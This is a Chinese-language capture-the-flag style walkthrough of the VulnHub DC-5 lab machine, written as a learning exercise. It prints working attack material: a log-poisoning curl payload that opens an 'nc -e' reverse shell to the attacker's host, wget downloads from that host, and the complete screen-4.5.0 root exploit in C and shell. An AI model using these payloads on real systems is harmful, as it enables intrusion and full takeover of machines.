基本配置
靶机是从VulnHub上下载的DC5:
攻击机使用的是Kali2020.3
信息收集
Kali的网络配置:
首先还是对虚拟网段进行扫描,网段为192.168.187.0/24:
发现主机192.168.187.138
进一步扫描:
没能有更多收获。
这里有个111端口,提供的是rpcbind服务,顺手searchsploit一下:
看了一下描述都是拒绝服务类的,也就作罢。
打开http://192.168.187.138浏览一下:
使用PHP作为脚本,使用的服务器是nginx1.6.2,也顺手searchsploit一下:
也没有什么收获。
再用gobuster枚举一下网站中的php脚本以及目录:
gobuster dir -u 192.168.187.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
初步的信息收集到此也基本上结束。
文件包含漏洞
下面将精神放在网站上,前几个Home、Solutions、About US和FAQ全是静态网页,只有看看contact有没有什么发现。
再contact页面底端可以提交一个表单,先随便提交一下看看:
似乎还很正常,但是刷新一下之后:
脚标发生了变化,这时我想起来在之前枚举网站脚本时有一个叫footer.php的脚本,现在访问一下:
原来这个脚本就是生成脚标的脚本。那么thankyou.php的实现可能是在thankyou.php中通过包含footer.php来生成脚标,这样已经满足了文件包含漏洞的条件。
为了验证这个猜想,接下来试图访问
http://192.168.187.138/thankyou.php?file=/etc/passwd
结果脚标处变成了下图所示的样子:
说明确实存在文件包含漏洞
进入靶机
那么接下来,就要想办法利用这个漏洞回弹一个shell给我的攻击机。
首先还是收集一些信息,既然可以任意查看网站的文件,那就先查看一下nginx服务器的配置文件/etc/nginx/nginx.conf:
拿到这个信息之后,我实在是有些无从下手,只有求助于网上的其他大佬,搜索了之后,参考这篇博客https://pentesterjourney.com/2019/09/18/vulnhub-dc-5-walkthrough/获得了一点思路。
从配置文件中可以得到日志文件的位置,先尝试访问access.log日志文件:
由于之前用gobuster爆破过,所以日志内容非常多,但是好在可以访问。划到底端查看最近的日志,发现日志中还包含有用户的代理(Firefox),于是可以通过发送一个HTTP报文,将用户代理部分的字符串写成一段PHP语句来毒化日志。这里使用curl进行操作,也可以使用burpsuite:
curl -A "<?= shell_exec('whoami');?>" http://192.168.187.138/thankyou.php # 先发送一个whoami命令
如图,可以在日志底部找到www-data(后面还有值是因为为了刷新日志又访问了几次网页),说明可以通过这种方式远程执行指令。
那么接下来就利用这种方法,使用nc回弹一个shell
curl -A "<?= shell_exec('nc -e /bin/bash 192.168.187.130 4444')?>" http://192.168.187.138/thankyou.php
nc -lvp 4444
# 然后刷新网页
成功连接。
用python切换成一个交互式的shell:
python -c 'import pty; pty.spawn("/bin/bash")'
至此我进入了DC5靶机,那么按照惯例先收集一点基本的信息:
现在所在的是一个正常的环境。
前往/home看看:
也没什么收获
提权
那么接下来要做的就是提权了。
先查看是否有带root权限的命令:
有个screen-4.5.0好像之前没见过,留意一下。
然后执行sudo -l看看:
没有结果。
再看看内核版本:
searchsploit一下:
这个漏洞看了看描述,与提权的目标关联不大,于是暂时搁置。
那么视线又回到那个没见过的screen-4.5.0上面来,google一下第一条就出来的是利用这个提权,还给出了exploit,那么先searchsploit一下找到对应的exploit:
要使用的应该就是这个.sh文件了,打开看一下:
把其中C程序的部分挑出来,分别保存为libhax.c和rootshell.c
// libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
// rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
再整理剩下的.sh文件,保存到41154.sh中:
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
根据exploit的提示,编译两个C程序:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
准备工作完成,下面在当前文件夹启动一个小的HTTP服务:
靶机先切换到/tmp目录下,用wget下载可执行文件和41154.sh
wget http://192.168.187.130:8000/41154.sh
wget http://192.168.187.130:8000/libhax.so
wget http://192.168.187.130:8000/rootshell
然后为41154.sh 赋予执行的权限,执行脚本即可获得root:
来到/root目录下,读取flag:
总结
这次DC5靶机是我目前为止感觉比较困难的一个靶机,特别是回弹shell之前的过程我一开始几乎没有什么头绪,不过还好在看了看大佬的解答以及查了资料之后,还算是学有所获。
这次获得的新知识:
-
学习了新工具gobuster的一些基本用法
-
初步了解了文件包含漏洞
-
存在毒化nginx日志来运行代码的可能性
-
了解了新的提权方式,利用特权指令的漏洞进行提权
还需进一步学习的知识:
-
文件包含漏洞还涉及很深的点,现在只是粗略地了解了一点
来源:freebuf.com 2020-10-31 20:24:37 by: FFFcaptain328
请登录后发表评论
注册